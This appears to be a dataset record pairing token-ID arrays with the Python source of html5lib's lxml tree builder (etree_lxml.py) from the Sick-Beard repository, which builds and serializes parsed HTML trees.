5924,
5702,
199,
3,
259,
2672,
1304,
4,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
3267,
701,
199,
3,
259,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
259,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
646,
16140,
63,
264,
31365,
434,
199,
646,
3622,
199,
646,
12262,
199,
646,
522,
63,
888,
199,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2644,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
8664,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
2900,
5924,
5702,
199,
3,
259,
2672,
1304,
4,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
3267,
701,
199,
3,
259,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
259,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
646,
16140,
63,
264,
31365,
434,
199,
646,
3622,
199,
646,
12262,
199,
646,
522,
63,
888,
199,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
LokiCoder/Sick-Beard
|
lib/html5lib/treebuilders/etree_lxml.py
|
98
|
12544
|
import warnings
import re
import _base
from html5lib.constants import DataLossWarning
import html5lib.constants as constants
import etree as etree_builders
from html5lib import ihatexml
try:
import lxml.etree as etree
except ImportError:
pass
fullTree = True
tag_regexp = re.compile("{([^}]*)}(.*)")
"""Module for supporting the lxml.etree library. The idea here is to use as much
of the native library as possible, without using fragile hacks like custom element
names that break between releases. The downside of this is that we cannot represent
all possible trees; specifically the following are known to cause problems:
Text or comments as siblings of the root element
Docypes with no name
When any of these things occur, we emit a DataLossWarning
"""
class DocumentType(object):
def __init__(self, name, publicId, systemId):
self.name = name
self.publicId = publicId
self.systemId = systemId
class Document(object):
def __init__(self):
self._elementTree = None
self._childNodes = []
def appendChild(self, element):
self._elementTree.getroot().addnext(element._element)
def _getChildNodes(self):
return self._childNodes
childNodes = property(_getChildNodes)
def testSerializer(element):
rv = []
finalText = None
filter = ihatexml.InfosetFilter()
def serializeElement(element, indent=0):
if not hasattr(element, "tag"):
if hasattr(element, "getroot"):
#Full tree case
rv.append("#document")
if element.docinfo.internalDTD:
if not (element.docinfo.public_id or
element.docinfo.system_url):
dtd_str = "<!DOCTYPE %s>"%element.docinfo.root_name
else:
dtd_str = """<!DOCTYPE %s "%s" "%s">"""%(
element.docinfo.root_name,
element.docinfo.public_id,
element.docinfo.system_url)
rv.append("|%s%s"%(' '*(indent+2), dtd_str))
next_element = element.getroot()
while next_element.getprevious() is not None:
next_element = next_element.getprevious()
while next_element is not None:
serializeElement(next_element, indent+2)
next_element = next_element.getnext()
elif isinstance(element, basestring):
#Text in a fragment
rv.append("|%s\"%s\""%(' '*indent, element))
else:
#Fragment case
rv.append("#document-fragment")
for next_element in element:
serializeElement(next_element, indent+2)
elif type(element.tag) == type(etree.Comment):
rv.append("|%s<!-- %s -->"%(' '*indent, element.text))
else:
nsmatch = etree_builders.tag_regexp.match(element.tag)
if nsmatch is not None:
ns = nsmatch.group(1)
tag = nsmatch.group(2)
prefix = constants.prefixes[ns]
rv.append("|%s<%s %s>"%(' '*indent, prefix,
filter.fromXmlName(tag)))
else:
rv.append("|%s<%s>"%(' '*indent,
filter.fromXmlName(element.tag)))
if hasattr(element, "attrib"):
attributes = []
for name, value in element.attrib.iteritems():
nsmatch = tag_regexp.match(name)
if nsmatch is not None:
ns, name = nsmatch.groups()
name = filter.fromXmlName(name)
prefix = constants.prefixes[ns]
attr_string = "%s %s"%(prefix, name)
else:
attr_string = filter.fromXmlName(name)
attributes.append((attr_string, value))
for name, value in sorted(attributes):
rv.append('|%s%s="%s"' % (' '*(indent+2), name, value))
if element.text:
rv.append("|%s\"%s\"" %(' '*(indent+2), element.text))
indent += 2
for child in element.getchildren():
serializeElement(child, indent)
if hasattr(element, "tail") and element.tail:
rv.append("|%s\"%s\"" %(' '*(indent-2), element.tail))
serializeElement(element, 0)
if finalText is not None:
rv.append("|%s\"%s\""%(' '*2, finalText))
return "\n".join(rv)
def tostring(element):
"""Serialize an element and its child nodes to a string"""
rv = []
finalText = None
def serializeElement(element):
if not hasattr(element, "tag"):
if element.docinfo.internalDTD:
if element.docinfo.doctype:
dtd_str = element.docinfo.doctype
else:
dtd_str = "<!DOCTYPE %s>"%element.docinfo.root_name
rv.append(dtd_str)
serializeElement(element.getroot())
elif type(element.tag) == type(etree.Comment):
rv.append("<!--%s-->"%(element.text,))
else:
#This is assumed to be an ordinary element
if not element.attrib:
rv.append("<%s>"%(element.tag,))
else:
attr = " ".join(["%s=\"%s\""%(name, value)
for name, value in element.attrib.iteritems()])
rv.append("<%s %s>"%(element.tag, attr))
if element.text:
rv.append(element.text)
for child in element.getchildren():
serializeElement(child)
rv.append("</%s>"%(element.tag,))
if hasattr(element, "tail") and element.tail:
rv.append(element.tail)
serializeElement(element)
if finalText is not None:
rv.append("%s\""%(' '*2, finalText))
return "".join(rv)
class TreeBuilder(_base.TreeBuilder):
documentClass = Document
doctypeClass = DocumentType
elementClass = None
commentClass = None
fragmentClass = Document
def __init__(self, namespaceHTMLElements, fullTree = False):
builder = etree_builders.getETreeModule(etree, fullTree=fullTree)
filter = self.filter = ihatexml.InfosetFilter()
self.namespaceHTMLElements = namespaceHTMLElements
class Attributes(dict):
def __init__(self, element, value={}):
self._element = element
dict.__init__(self, value)
for key, value in self.iteritems():
if isinstance(key, tuple):
name = "{%s}%s"%(key[2], filter.coerceAttribute(key[1]))
else:
name = filter.coerceAttribute(key)
self._element._element.attrib[name] = value
def __setitem__(self, key, value):
dict.__setitem__(self, key, value)
if isinstance(key, tuple):
name = "{%s}%s"%(key[2], filter.coerceAttribute(key[1]))
else:
name = filter.coerceAttribute(key)
self._element._element.attrib[name] = value
class Element(builder.Element):
def __init__(self, name, namespace):
name = filter.coerceElement(name)
builder.Element.__init__(self, name, namespace=namespace)
self._attributes = Attributes(self)
def _setName(self, name):
self._name = filter.coerceElement(name)
self._element.tag = self._getETreeTag(
self._name, self._namespace)
def _getName(self):
return filter.fromXmlName(self._name)
name = property(_getName, _setName)
def _getAttributes(self):
return self._attributes
def _setAttributes(self, attributes):
self._attributes = Attributes(self, attributes)
attributes = property(_getAttributes, _setAttributes)
def insertText(self, data, insertBefore=None):
data = filter.coerceCharacters(data)
builder.Element.insertText(self, data, insertBefore)
def appendChild(self, child):
builder.Element.appendChild(self, child)
class Comment(builder.Comment):
def __init__(self, data):
data = filter.coerceComment(data)
builder.Comment.__init__(self, data)
def _setData(self, data):
data = filter.coerceComment(data)
self._element.text = data
def _getData(self):
return self._element.text
data = property(_getData, _setData)
self.elementClass = Element
self.commentClass = builder.Comment
#self.fragmentClass = builder.DocumentFragment
_base.TreeBuilder.__init__(self, namespaceHTMLElements)
def reset(self):
_base.TreeBuilder.reset(self)
self.insertComment = self.insertCommentInitial
self.initial_comments = []
self.doctype = None
def testSerializer(self, element):
return testSerializer(element)
def getDocument(self):
if fullTree:
return self.document._elementTree
else:
return self.document._elementTree.getroot()
def getFragment(self):
fragment = []
element = self.openElements[0]._element
if element.text:
fragment.append(element.text)
fragment.extend(element.getchildren())
if element.tail:
fragment.append(element.tail)
return fragment
def insertDoctype(self, token):
name = token["name"]
publicId = token["publicId"]
systemId = token["systemId"]
if not name or ihatexml.nonXmlNameBMPRegexp.search(name) or name[0] == '"':
warnings.warn("lxml cannot represent null or non-xml doctype", DataLossWarning)
doctype = self.doctypeClass(name, publicId, systemId)
self.doctype = doctype
def insertCommentInitial(self, data, parent=None):
self.initial_comments.append(data)
def insertRoot(self, token):
"""Create the document root"""
#Because of the way libxml2 works, it doesn't seem to be possible to
#alter information like the doctype after the tree has been parsed.
#Therefore we need to use the built-in parser to create our iniial
#tree, after which we can add elements like normal
docStr = ""
if self.doctype and self.doctype.name and not self.doctype.name.startswith('"'):
docStr += "<!DOCTYPE %s"%self.doctype.name
if (self.doctype.publicId is not None or
self.doctype.systemId is not None):
docStr += ' PUBLIC "%s" "%s"'%(self.doctype.publicId or "",
self.doctype.systemId or "")
docStr += ">"
docStr += "<THIS_SHOULD_NEVER_APPEAR_PUBLICLY/>"
try:
root = etree.fromstring(docStr)
except etree.XMLSyntaxError:
print docStr
raise
#Append the initial comments:
for comment_token in self.initial_comments:
root.addprevious(etree.Comment(comment_token["data"]))
#Create the root document and add the ElementTree to it
self.document = self.documentClass()
self.document._elementTree = root.getroottree()
# Give the root element the right name
name = token["name"]
namespace = token.get("namespace", self.defaultNamespace)
if namespace is None:
etree_tag = name
else:
etree_tag = "{%s}%s"%(namespace, name)
root.tag = etree_tag
#Add the root element to the internal child/open data structures
root_element = self.elementClass(name, namespace)
root_element._element = root
self.document._childNodes.append(root_element)
self.openElements.append(root_element)
#Reset to the default insert comment function
self.insertComment = super(TreeBuilder, self).insertComment
|
gpl-3.0
|
[
646,
3598,
199,
646,
295,
199,
199,
646,
485,
1095,
199,
504,
3517,
21,
773,
14,
5559,
492,
3918,
8610,
3849,
199,
646,
3517,
21,
773,
14,
5559,
465,
5262,
199,
646,
7559,
465,
7559,
63,
20968,
199,
504,
3517,
21,
773,
492,
284,
72,
323,
1652,
199,
199,
893,
26,
272,
492,
14490,
14,
9464,
465,
7559,
199,
2590,
3545,
26,
272,
986,
199,
199,
2861,
3987,
275,
715,
199,
1450,
63,
11191,
275,
295,
14,
2014,
13076,
7059,
93,
3672,
6769,
19276,
6320,
199,
199,
624,
2377,
367,
21038,
314,
14490,
14,
9464,
3555,
14,
710,
16819,
2348,
365,
370,
675,
465,
8298,
199,
1618,
314,
5438,
3555,
465,
3962,
12,
1928,
1808,
11101,
441,
11176,
83,
2839,
3537,
1819,
199,
1247,
626,
2059,
3382,
19015,
14,
710,
3224,
2441,
402,
642,
365,
626,
781,
3913,
2954,
199,
452,
3962,
14416,
27,
22543,
314,
2569,
787,
6040,
370,
7675,
8826,
26,
199,
199,
1872,
503,
6786,
465,
31871,
402,
314,
1738,
1819,
199,
3768,
514,
83,
543,
949,
536,
199,
199,
11423,
1263,
402,
3520,
7645,
4781,
12,
781,
8689,
282,
3918,
8610,
3849,
199,
624,
199,
199,
533,
7543,
804,
8,
785,
304,
272,
347,
636,
826,
721,
277,
12,
536,
12,
25753,
12,
22873,
304,
267,
291,
14,
354,
275,
536,
3515,
267,
291,
14,
25311,
275,
25753,
267,
291,
14,
20150,
275,
22873,
199,
199,
533,
7543,
8,
785,
304,
272,
347,
636,
826,
721,
277,
304,
267,
291,
423,
2108,
3987,
275,
488,
267,
291,
423,
10626,
275,
942,
339,
347,
5666,
3493,
8,
277,
12,
1819,
304,
267,
291,
423,
2108,
3987,
14,
24544,
1252,
525,
2184,
8,
2108,
423,
2108,
9,
339,
347,
485,
26023,
6300,
8,
277,
304,
267,
372,
291,
423,
10626,
2286,
1982,
6300,
275,
3324,
1547,
26023,
6300,
9,
199,
199,
318,
511,
7299,
8,
2108,
304,
272,
4336,
275,
942,
272,
4242,
1872,
275,
488,
272,
2457,
275,
284,
72,
323,
1652,
14,
2354,
409,
4131,
342,
272,
347,
8437,
2162,
8,
2108,
12,
4363,
29,
16,
304,
267,
340,
440,
2688,
8,
2108,
12,
298,
1450,
2349,
288,
340,
221,
2688,
8,
2108,
12,
298,
24544,
2349,
355,
327,
9042,
3123,
1930,
355,
4336,
14,
740,
10064,
3554,
531,
355,
340,
1819,
14,
32139,
14,
4672,
21156,
26,
490,
340,
440,
334,
2108,
14,
32139,
14,
3455,
63,
344,
503,
29157,
1819,
14,
32139,
14,
2253,
63,
633,
304,
717,
366,
2076,
63,
495,
275,
3886,
1,
16556,
450,
83,
4335,
5,
2108,
14,
32139,
14,
1231,
63,
354,
490,
587,
26,
717,
366,
2076,
63,
495,
275,
8894,
1,
16556,
450,
83,
2071,
83,
2,
2071,
83,
1743,
624,
2840,
1169,
1819,
14,
32139,
14,
1231,
63,
354,
12,
29157,
1819,
14,
32139,
14,
3455,
63,
344,
12,
1169,
1819,
14,
32139,
14,
2253,
63,
633,
9,
490,
4336,
14,
740,
480,
15287,
83,
5,
83,
6808,
360,
283,
5830,
3724,
11,
18,
395,
366,
2076,
63,
495,
430,
355,
2163,
63,
2108,
275,
1819,
14,
24544,
342,
355,
1830,
2163,
63,
2108,
14,
362,
6352,
342,
365,
440,
488,
26,
490,
2163,
63,
2108,
275,
2163,
63,
2108,
14,
362,
6352,
342,
355,
1830,
2163,
63,
2108,
365,
440,
488,
26,
490,
8437,
2162,
8,
2184,
63,
2108,
12,
4363,
11,
18,
9,
490,
2163,
63,
2108,
275,
2163,
63,
2108,
14,
362,
2184,
342,
288,
916,
1228,
8,
2108,
12,
7116,
304,
355,
327,
1872,
315,
282,
7956,
355,
4336,
14,
740,
480,
15287,
83,
4451,
5,
83,
18781,
5,
360,
6438,
3724,
12,
1819,
430,
288,
587,
26,
355,
327,
11080,
1930,
355,
4336,
14,
740,
10064,
3554,
13,
7677,
531,
355,
367,
2163,
63,
2108,
315,
1819,
26,
490,
8437,
2162,
8,
2184,
63,
2108,
12,
4363,
11,
18,
9,
267,
916,
730,
8,
2108,
14,
1450,
9,
508,
730,
8,
9464,
14,
7488,
304,
288,
4336,
14,
740,
480,
15287,
83,
25273,
450,
83,
1553,
4335,
5,
360,
6438,
3724,
12,
1819,
14,
505,
430,
267,
587,
26,
288,
700,
1431,
275,
7559,
63,
20968,
14,
1450,
63,
11191,
14,
1431,
8,
2108,
14,
1450,
9,
288,
340,
700,
1431,
365,
440,
488,
26,
355,
700,
275,
700,
1431,
14,
923,
8,
17,
9,
355,
1947,
275,
700,
1431,
14,
923,
8,
18,
9,
355,
2403,
275,
5262,
14,
14124,
59,
561,
61,
355,
4336,
14,
740,
480,
15287,
83,
21110,
83,
450,
83,
4335,
5,
360,
6438,
3724,
12,
2403,
12,
3147,
2457,
14,
504,
8672,
985,
8,
1450,
1724,
288,
587,
26,
355,
4336,
14,
740,
480,
15287,
83,
21110,
83,
4335,
5,
360,
6438,
3724,
12,
3660,
2457,
14,
504,
8672,
985,
8,
2108,
14,
1450,
1724,
953,
340,
2688,
8,
2108,
12,
298,
6640,
2349,
355,
3004,
275,
942,
355,
367,
536,
12,
574,
315,
1819,
14,
6640,
14,
4611,
837,
490,
700,
1431,
275,
1947,
63,
11191,
14,
1431,
8,
354,
9,
490,
340,
700,
1431,
365,
440,
488,
26,
717,
700,
12,
536,
275,
700,
1431,
14,
2634,
342,
717,
536,
275,
2457,
14,
504,
8672,
985,
8,
354,
9,
717,
2403,
275,
5262,
14,
14124,
59,
561,
61,
717,
1921,
63,
875,
275,
2071,
83,
450,
83,
14007,
1861,
12,
536,
9,
490,
587,
26,
717,
1921,
63,
875,
275,
2457,
14,
504,
8672,
985,
8,
354,
9,
490,
3004,
14,
740,
1332,
962,
63,
875,
12,
574,
430,
2234,
367,
536,
12,
574,
315,
3355,
8,
2987,
304,
490,
4336,
14,
740,
360,
15287,
83,
5,
83,
5961,
83,
4507,
450,
661,
283,
5830,
3724,
11,
18,
395,
536,
12,
574,
430,
953,
340,
1819,
14,
505,
26,
355,
4336,
14,
740,
480,
15287,
83,
4451,
5,
83,
18781,
450,
360,
283,
5830,
3724,
11,
18,
395,
1819,
14,
505,
430,
288,
4363,
847,
499,
288,
367,
1982,
315,
1819,
14,
362,
3223,
837,
355,
8437,
2162,
8,
1739,
12,
4363,
9,
267,
340,
2688,
8,
2108,
12,
298,
1521,
531,
436,
1819,
14,
